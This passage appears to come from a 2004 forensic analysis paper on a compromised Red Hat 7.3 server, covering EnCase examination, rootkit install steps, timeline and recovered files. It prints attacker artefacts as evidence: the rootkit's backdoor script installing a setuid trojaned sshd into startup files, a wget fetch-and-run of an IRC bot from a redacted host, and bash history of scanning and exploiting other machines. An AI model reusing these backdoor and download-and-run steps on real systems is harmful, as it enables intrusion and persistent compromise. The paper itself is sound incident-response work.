See Table 2 for the exact syntax used for each command. The LD_LIBRARY_PATH variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

---

compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site www.snort.org.

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from www.tcpdump.org.

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from www.circlemud.org/~jelson/software/tcpflow.

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. (www.redhat.com).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

**File system**

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

```
Nfsd
Popauth
/sshd_config
/minilogd
/tmp/.s
/services
```
Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

Table 2. install.log output

Table 2. install.log output shows “PS, PSTREE and LS DIR VDIR” failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one’s that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -iau” is used, (the “-” removes attributes from the file, “i” => immutable, “a” => append only and “u” => undeletable”). The files the command was used on are listed below;

<table>
<thead>
<tr>
<th>/etc/rc.d/init.d/sshd</th>
<th>/etc/rc.d/init.d/syslog</th>
</tr>
</thead>
<tbody>
<tr>
<td>/etc/rc.d/init.d/functions</td>
<td>/usr/local/sbin/sshd</td>
</tr>
<tr>
<td>/usr/sbin/sshd</td>
<td>/bin/ps</td>
</tr>
</tbody>
</table>

3) Stop syslog with "/etc/rc.d/init.d/syslog stop"

4) kill the rpc portmapper

5) remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

```
2  sl  2 sl2  2  st  2  v
2  foo  3  scan  3  ping  3  tcpd
3  nfsd  3  lpd  3  r00t  2  x2
3  strobe  2  sc  3  luckstatdx  2  /dev/killall
2  hds  3  /usr/sbin/nfstd  3  mass  3  o
3  vuln  3  weit
```

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

```
3  18  4  18  3  6667  4  6667  3  1
4  1
```

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

```
.s   .x   logs   sense   tcp.log
mps   mls   killer   mtop   mpstree
ttyop   ttyof   ttyoa   ttyos   wipe
clean   sense   nfstd   hds   hds1
v   sl2   sl   foo   st
r00t
```

9) Copy the .1logz file to /dev/ttyos. The .1logz file is a list of IP addresses, domain names and log file names shown below:

```
XXX.hypermart.net   XXX.XXX.0.159   syslog
klogd   net-pf-10   XXX.97.33.*
```

10) touch -acmr (a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.

```
/usr/bin/du du  /usr/bin/find find  /usr/bin/killall killall
/bin/ps ps  /bin/netstat netstat  /usr/bin/pstree pstree
/bin/ls ls  /usr/bin/top top  /usr/bin/vdir vdir
```

© SANS Institute 2004, Author retains full rights.
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

\[
\begin{align*}
\text{ps} & => /bin/ps & \text{psTree} & => /usr/bin/pstree & \text{top} & => /usr/bin/top \\
\text{ls} & => /bin/ls & \text{killall} & => /usr/bin/killall & \text{ls} & => /usr/bin/dir \\
\text{du} & => /usr/bin/du & \text{find} & => /usr/bin/find & \text{netstat} & => /usr/bin/netstat \\
\end{align*}
\]

12) The nfsdi script, located in the nfsd directory, is called to install the nfsd (sshd backdoor) on port 18:

The nfsdi script does the following:
\begin{enumerate}
\item p.sshd is copied to /usr/sbin/nfsd
\item a chmod +s and chattr +iau done on /usr/sbin/nfsd
\item sshd_config copied to /sbin/sshd_config, chattr +iau is done on the file.
\item host key (xxxh_h) and random key (xxh_r) are copied to /sbin.
\item nfsd (sshd) is run
\item charttr -iau run on /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions.
\item The line “/usr/sbin/nfsd -f /sbin/sshd_config” is appended to the end of /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions and chattr +iau is run.
\end{enumerate}

13) Rootkit utilities are installed:

\[
\begin{align*}
\text{clean} & => /usr/bin/clean & \text{sense} & => /usr/bin/sense \\
\text{dos/s12} & => /usr/bin/dos/s12 & \text{dos/foo} & => /usr/bin/dos/foo \\
\text{dos/st} & => /usr/bin/dos/st & \text{dos/v} & => /usr/bin/dos/v \\
\end{align*}
\]

14) Linsniffer installed storing logs in /dev/logs “linsniffer /usr/bin/lpd”.

15) Setting up crontab “/usr/bin/crontab cron-root”.

16) Ports Open check using command “/usr/sbin/lsof|grep LISTEN”.

17) Checking for “Other RooTKITs”.

18) starting syslog with “/etc/rc.d/init.d/syslog start”

19) Reviewing logs, cron, maillog with echo of:

\[
\begin{align*}
/var/log/messages & \text{var/log/boot.log} & /var/log/cron \\
/var/log/secure & \text{var/log/maillog} \\
\end{align*}
\]

20) Using chattr +iau on

\[
\begin{align*}
/\text{etc/rc.d/init.d/syslog} & /\text{etc/rc.d/init.d/functions} & /\text{bin/ps} \\
/\text{bin/netstat} & /\text{bin/ls} & /\text{usr/bin/du} \\
/\text{usr/bin/find} & /\text{usr/bin/pstree} & /\text{usr/bin/killall} \\
\end{align*}
\]
21) Closing message "Na hai sa ne pisam pe iei -;)"

TCPFLOW output showed the uncompressing of the s.tar.gz files. When the file system /tmp/.s was examined three of the trojan binaries were not present, they were "ls, ps and vdir". Table 3 shows a comparison from the TCPFLOW file list and the files in the /tmp/.s directory:

<table>
<thead>
<tr>
<th>TCPFLOW log</th>
<th>Files in /tmp</th>
<th>Last access</th>
<th>Notes - (All virus infected with Linux.RST.B)</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s/</td>
<td>/tmp/.s</td>
<td>03:25:20PM</td>
<td>Hidden directory</td>
</tr>
<tr>
<td>.s/du</td>
<td>/tmp/.s/du</td>
<td>03:25:20PM</td>
<td>Trojan du (disk usage command) references ttyof. The install script copies .1file to ttyof.</td>
</tr>
<tr>
<td>.s/find</td>
<td>/tmp/.s/find</td>
<td>03:25:20PM</td>
<td>Trojan find command references ttyof. The install script copies .1file to ttyof.</td>
</tr>
<tr>
<td>.s/killall</td>
<td>/tmp/.s/killall</td>
<td>03:25:20PM</td>
<td>Trojan killall command used to kill processes. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/linsniffer</td>
<td>/tmp/.s/linsniffer</td>
<td>03:25:20PM</td>
<td>Trojan linsniffer program.</td>
</tr>
<tr>
<td>.s/ls</td>
<td>-not present-</td>
<td></td>
<td>list command.</td>
</tr>
<tr>
<td>.s/netstat</td>
<td>/tmp/.s/netsat</td>
<td>03:25:20PM</td>
<td>Trojan netsat, network status command references ttyoa. The install script copies .1addr to ttyop.</td>
</tr>
<tr>
<td>.s/ps</td>
<td>-not present-</td>
<td></td>
<td>Process status command</td>
</tr>
<tr>
<td>.s/pstree</td>
<td>/tmp/.s/pstree</td>
<td>03:25:20PM</td>
<td>Process tree list. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/vdir</td>
<td>/tmp/.s/vdir</td>
<td>03:25:20PM</td>
<td>Lists directory contents.</td>
</tr>
<tr>
<td>.s/top</td>
<td>/tmp/.s/top</td>
<td>03:25:20PM</td>
<td>Show top CPU Processes.</td>
</tr>
<tr>
<td>.s/.laddr</td>
<td>/tmp/.s/.laddr</td>
<td>03:25:20PM</td>
<td>References ttyop. The install script copies .1proc to /dev/ttyoa. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.1file</td>
<td>/tmp/.s/.1file</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyof. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.1logz</td>
<td>/tmp/.s/.1logz</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyos. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.1proc</td>
<td>/tmp/.s/.1proc</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyop. Contains a list of that trojan binaries uses. Binaries using this reference are top, pstree, killall</td>
</tr>
<tr>
<td>.s/clean</td>
<td>/tmp/.s/clean</td>
<td>03:25:20PM</td>
<td>Log file cleanup script.</td>
</tr>
<tr>
<td>.s/nfsd/</td>
<td>/tmp/.s/nfsd/config</td>
<td>03:25:21PM</td>
<td>Directory</td>
</tr>
<tr>
<td>.s/nfsd/sshd_config</td>
<td>/tmp/.s/nfsd/config</td>
<td>03:25:21PM</td>
<td>nfsd (sshd) configuration file.</td>
</tr>
<tr>
<td>.s/nfsd/xxh_h</td>
<td>/tmp/.s/xxh_h</td>
<td>03:25:21PM</td>
<td>HostKey file for nfsd (sshd) referenced in configuration file. EnCase output shows key as a private key belonging to</td>
</tr>
</tbody>
</table>
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “weit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The inittab file is the configuration file used by ‘init’. The inittab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the root kit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify file changes a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped (|) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \*”, do not parse the /proc directory structure “-type f” and run an md5sum on the file “-exec md5sum {} \;”.

```
#find / -name \* -path ‘/proc’ -prune -o -type f -exec md5sum {} \;
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space

---

delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix `comm` command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt | more
```

The `comm` command with the `-3` switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2da7890118d41731001ed09 9962
/etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command.

```
} /usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned functions startup script – nfsd (ssh on port 18) added

```
/etc/rc.d/init.d/syslog bf2c05fb64dc8c193dfbc21052f5e6e5 1369
/etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command.

```
exit $? /usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned syslog startup script – nfsd (ssd on port 18) added

```
/etc/rc.d/rc.sysinit 48fa67a16b96d8d1768a5f9d8421eee4 22379
/etc/rc.d/rc.sysinit ee965268d25b94ed0ffe16db5e809 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) `weit` command.

Looking at the end of the `/etc/rc.d/rc.sysinit` script we find the `weit` command.

```
/wbin/getkey i && touch /var/run/confirm
fi
weit
```

Trojaned rc.sysinit startup script – `wait` changed to `weit`

The "last written" time from each file showed the `/etc/rc.d/rc.sysinit` script being modified at 3:22:09pm and both the `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions` scripts modified at 3:25:21pm. Figure 16 is a screen shot of
the /etc/rc.d folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under /etc/rc.d refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

![EnCase screenshot](image.png)

Figure 16. Modified startup files

The back doors found on the system were:

- The nfsd daemon (trojaned sshd) running on process ID’s 19810 and 19811
- The weit program run from the rc.sysinit script in the /etc/rc.d directory that spawned the popauth program that sets up a listener on UDP port 3049.
- The IRC server running on process ID’s 19936 and 19941.

Looking at the install script in /tmp/.s/install we see

```
  cd nfsd;./nfsdi
```

The nfsdi script modifies the syslog and functions scripts and installs the trojan, virus infected, nfsd.

```
#!/bin/sh
```

![Image of modify startup files](image.png)
if [ -x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi

if [ -f /sbin/sshd_config ]; then
    chattr -iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi

The IRC bot Software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz, tar-gzipped file (wget XXX.XXX.com/eladoht/bot.tgz). The file was unpacked (tar –zxvf bot.tgz), the file was removed (rm –rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf
    cd .X11-pipe;chmod +x
    inetd/services;inetd/services;inetd/services

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn’t complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hit in the /dev/ttyof file.
- 1 hits in the /tmp/.s/linsniffer binary file.
- 1 hits in the /tmp/.s/.1file
- 1 hits in the /root/.bash_history file.
- 1 hits in the /swap space (swap space Is a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:2206PM on 06/29/03.

Once the nsfd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

```plaintext
unset HISTFILES
cd /tmp
ls -al
dir -al
rm -rf .s
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font -unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
```
The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid a dd image was made of the evidence drive (Tag #02) using Fastblok. The command used to create the dd image was:

```
"dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync"
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.
• “sync” => if an error occurs use zeros in the output file. 9

The MD5 checksum was verified against the MD5 checksum from EnCase. See Figure 17.

![Figure 17 dd image MD5 checksum.](image)

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is;

   ```
   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f\n"
   ```

   The “/mnt/linux73” tells find where to start. The “-name ".*” -type d” tells find to look for directories that begin with a “.” (the “.” in unix hides the directory or file). The last command line switch tells find to print out the file date and time information.

<table>
<thead>
<tr>
<th>Directories of interest are listed below:</th>
</tr>
</thead>
<tbody>
<tr>
<td>.</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:41:56 PM CST 1 /mnt/linux73/tmp/.font-unix</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 04:00:24 PM CST 1 /mnt/linux73/tmp/.font-unix/.X11-pipe</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:10 PM CST 1 /mnt/linux73/tmp/.s</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:08 PM CST 1 /mnt/linux73/.x</td>
</tr>
</tbody>
</table>

2. Locating the setuid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg {} \;
```

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -4000” tells find to look for a regular file with the setuid bit set. The “-exec ls -aslg {};” command line switch tells find to print out the file details.

```bash
36 -rwsr-xr-x 1 root root 34296 Mar 27 2002 /mnt/linux73/usr/bin/chage
36 -rwsr-xr-x 1 root root 36100 Mar 27 2002 /mnt/linux73/usr/bin/gpasswd
40 -rwsr-xr-x 1 root root 37528 Jan 17 2002 /mnt/linux73/usr/bin/at
16 -rwsr-xr-x 1 root root 15104 Mar 13 2002 /mnt/linux73/usr/bin/passwd
12 -rwsr-xr-x 1 root root 12072 Apr 1 2002 /mnt/linux73/usr/bin/chfn
12 -rwsr-xr-x 1 root root 11496 Apr 1 2002 /mnt/linux73/usr/bin/chsh
8 -rwsr-xr-x 1 root root 4764 Apr 1 2002 /mnt/linux73/usr/bin/newgrp
24 -rwsr-xr-x 1 root root 21080 Apr 14 2002 /mnt/linux73/usr/bin/crontab
20 -rwsr-xr-x 1 root root 19927 Apr 17 2002 /mnt/linux73/usr/sbin/ldappasswd
220 -rwsr-xr-x 1 root root 219932 Apr 4 2002 /mnt/linux73/usr/sbin/lockdev
8 -rwsr-xr-x 1 root root 7404 Apr 17 2002 /mnt/linux73/usr/bin/kheckeckpass
16 -rwsr-xr-x 1 root root 14588 Jul 24 2001 /mnt/linux73/usr/bin/rcp
12 -rwsr-xr-x 1 root root 10940 Jul 24 2001 /mnt/linux73/usr/bin/rlogin
8 -rwsr-xr-x 1 root root 7932 Jul 24 2001 /mnt/linux73/usr/bin/rsh
88 -rwsr-xr-x 1 root root 84680 Apr 18 2002 /mnt/linux73/usr/bin/sudo
32 -rwsr-xr-x 1 root root 32673 Apr 18 2002 /mnt/linux73/usr/sbin/ping6
16 -rwsr-xr-x 1 root root 13994 Apr 18 2002 /mnt/linux73/usr/sbin/traceroute6
448 -rwsr-xr-x 1 root root 451280 Apr 8 2002 /mnt/linux73/usr/sbin/sendmail
24 -rwsr-xr-x 1 root root 22388 Apr 15 2002 /mnt/linux73/usr/sbin/userhelper
20 -rwsr-xr-x 1 root root 17461 Apr 19 2002 /mnt/linux73/usr/sbin/userinetctl
20 -rwsr-xr-x 1 root root 20140 Mar 14 2002 /mnt/linux73/usr/sbin/traceroute
24 -rwsr-xr-x 1 root root 48 22826 Apr 9 2002 /mnt/linux73/usr/sbin/suexec
244 -rwsr-xr-x 1 root root 242909 Jun 29 15:25 /mnt/linux73/usr/sbin/nfsd
1572 -rwsr-xr-x 1 root root 1602576 Apr 18 2002 /mnt/linux73/usr/sbin/XFree86
44 -rwsr-xr-x 1 root root 43951 Jun 30 17:36 /mnt/linux73/bin/gping
69 -rwsr-xr-x 1 root root 68863 Apr 1 2002 /mnt/linux73/bin/mount
36 -rwsr-xr-x 1 root root 35327 Apr 1 2002 /mnt/linux73/bin/unmount
20 -rwsr-xr-x 1 root root 19116 Apr 8 2002 /mnt/linux73/bin/su
119 -rwsr-xr-x 1 root root 120264 Apr 9 2002 /mnt/linux73/sbin/pwdb_chkpwd
18 -rwsr-xr-x 1 root root 16992 Apr 9 2002 /mnt/linux73/sbin/unix_chkpwd
```

3. Locating the setgid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg {} \;
```

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -4000” tells find to look for a regular file with the setgid bit set. The “-exec ls -aslg {};” command line switch tells find to print out the file details.

```bash
20 -rwsr-xr-x 1 root mail 17811 Mar 25 2002 /mnt/linux73/usr/bin/lockfile
28 -rwsr-xr-x 1 root slocate 25020 Jun 25 2001 /mnt/linux73/usr/bin/slocate
8 -rwsr-xr-x 1 root tty 6920 Mar 14 2002 /mnt/linux73/usr/bin/wall
12 -rwsr-xr-x 1 root tty 8584 Apr 1 2002 /mnt/linux73/usr/bin/write
24 -rwsr-xr-x 1 root utmp 6604 Jun 25 2001 /mnt/linux73/usr/bin/utempter
16 -rwsr-xr-x 1 root utmp 12026 Apr 1 2002 /mnt/linux73/usr/bin/gnome-pty-helper
16 -rwsr-xr-x 1 root lock 13573 Feb 25 2002 /mnt/linux73/usr/sbin/lockdev
244 -rwsr-xr-x 1 root root 242909 Jun 29 15:25 /mnt/linux73/usr/sbin/nfsd
```
The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

2.6. Timeline Analysis

Time line analysis was done using a combination of EnCase, mac_robber and the unix find command. The Modified, Access and Change times are selectable within EnCase. The timeline export within EnCase produced a file too large to import into Excel and sort. EnCase allows for easy sorting on any of the three times or combinations of the three. To provide a sortable file, the dd image was mounted and both mac_robber and find commands were used to produce timeline files. The following command was used to create a ctime (change time) timeline file:

```
find /mnt/linux73/root -printf "%C@ \t\h/%f\n" | sort > outputfile.txt
```

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost+found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53

1056043853 /mnt/linux73/lost+found

OS install complete Jun 20 2003 09:31:35 => Adjusted to local 02:31:35

1056097895 /mnt/linux73/root/install.log

COMPROMISE STARTS HERE -> ------------------------------------------------

Date is Jun 29, 2003 22:11:59 => Adjusted to local 15:11:59

1056921119 /mnt/linux73/tmp/.s/.laddr
1056921119 /mnt/linux73/tmp/.s/.lfile
1056921119 /mnt/linux73/tmp/.s/.llogz
1056921119 /mnt/linux73/tmp/.s/.lproc
1056921119 /mnt/linux73/tmp/.s/mpstree
1056921119 /mnt/linux73/tmp/.s/nfsd/nfsdi
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd_config
1056921119 /mnt/linux73/tmp/.s/nfsd/xxh_h
1056921119 /mnt/linux73/tmp/.s/nfsd/xxh_r
1056921119 /mnt/linux73/tmp/.s/p.ssh
1056921119 /mnt/linux73/tmp/.s/sshd/init.sshd
1056921119 /mnt/linux73/tmp/.s/sshd/sshd_config
1056921119 /mnt/linux73/tmp/.s/sshd/sshd-install
1056921119 /mnt/linux73/tmp/.s/sshd/ssh_host_key

Date is Jun 29, 2003 22:20:00 => Adjusted to local 15:22:00

1056921600 /mnt/linux73/var/log/cron

Date is Jun 29, 2003 22:22:04 => Adjusted to local 15:22:04

1056921724 /mnt/linux73/bin/ps
1056921724 /mnt/linux73/etc/rc.d/init.d/sshd
1056921724 /mnt/linux73/usr/sbin/sshd

Date is Jun 29, 2003 22:22:05 => Adjusted to local 15:22:05

1056921725 /mnt/linux73/var/log/messages

Date is Jun 29, 2003 22:22:06 => Adjusted to local 15:22:06

1056921726 /mnt/linux73/dev/log

Date is Jun 29, 2003 22:22:07 => Adjusted to local 15:22:07

1056921727 /mnt/linux73/dev/ttyoa
1056921727 /mnt/linux73/dev/ttyof
1056921727 /mnt/linux73/dev/ttyop
The install script from s.tar.gz is running. The install script calls the mpstree script with the line “sh mpstree”, then the mpstree script calls the p.ssh script with the line “/p.ssh”. The “p.ssh” script creates the /x directory with the line “mkdir –p $D”, the $D variable is set to “/x” one line before. The libgc.so library and the popauth executable are placed by the p.ssh script.

The mpstree script modifies the /etc/rc.d/rc.sysinit script and runs the weit executable. The weit executable calls the popauth executable. Popauth listens on https, http, and UDP 3049. Popauth and other binaries are infected with the Linux.Jac.8759 virus. See EnCase report on virus infected files. 739 files, including rc.sysint have ctimes (change time) of 1056921729.

EnCase was used to order the files based on last modified time.
Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had it’s mtime and ctime changed at 16:59:16. One of the commands run during the attacks was ‘netstat’. The ‘netstat’ command was one of the files successfully trojaned. The ‘netstat’ command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and clime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

```
16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896
<nop,nop,timestamp 120259573 53659921> (DF)
```

### 2.7. Recover Deleted Files

As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![EnCase keyword string input](image)

Figure 20. EnCase keyword string input

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

```
XXX.XXX.119.141.00080-192.168.002.015.01058
192.168.002.015.01058-XXX.XXX.119.141.00080
```

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
2.8. String Search

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the “/var” partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search/keyword search targeting saved time and narrowed the search for the facts.

**Live response**

Keywords of interest
- minilogd
- session_mm_apache0.sem
- weit
- popauth
- nfsd

Paths of interest
- /tmp/.s
- /.x

Files of interest
- /var/log/httpd/access_log
- /var/log/httpd/ssl_request_log
- /var/log/httpd/error_log
- /usr/bin/weit
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /.x/popauth
- /dev/hdx1
- /usr/sbin/nfsd
- /tmp/.s/nfsd
- /sbin/sshd_config

Other items of interest
- Date processes started Jun 29
- Defunct processes
  - weit,
  - chmod +s /usr/sbin/nfsd,
  - chmod
  - mkdir
  - hostname
  - ls

**Log file analysis**

Keywords of interest
- s.tar.gz
- linsniffer
- .addr
Paths of interest
- /tmp/.s
- /tmp/.s/nfsd
- /tmp/.s/sshd
- /tmp/.s/init.sshd
- /tmp/.s/popauth
- /tmp/.s/weit

Files of interest
- .1file
- .1logz
- .1proc
- xxh_h
- xxh_r
- nfsdi
- init.sshd
- popauth
- /tmp/.s
- /tmp/.s/nfsd
- /tmp/.s/sshd
- /tmp/.font
- /tmp/.font-unix
- /tmp/.font-unix/.X11
- /tmp/.x

- s.tar.gz
  - .s/
  - .s/du
  - .s/killall
  - .s/netstat
  - .s/ps
  - .s/top
  - .s/1d
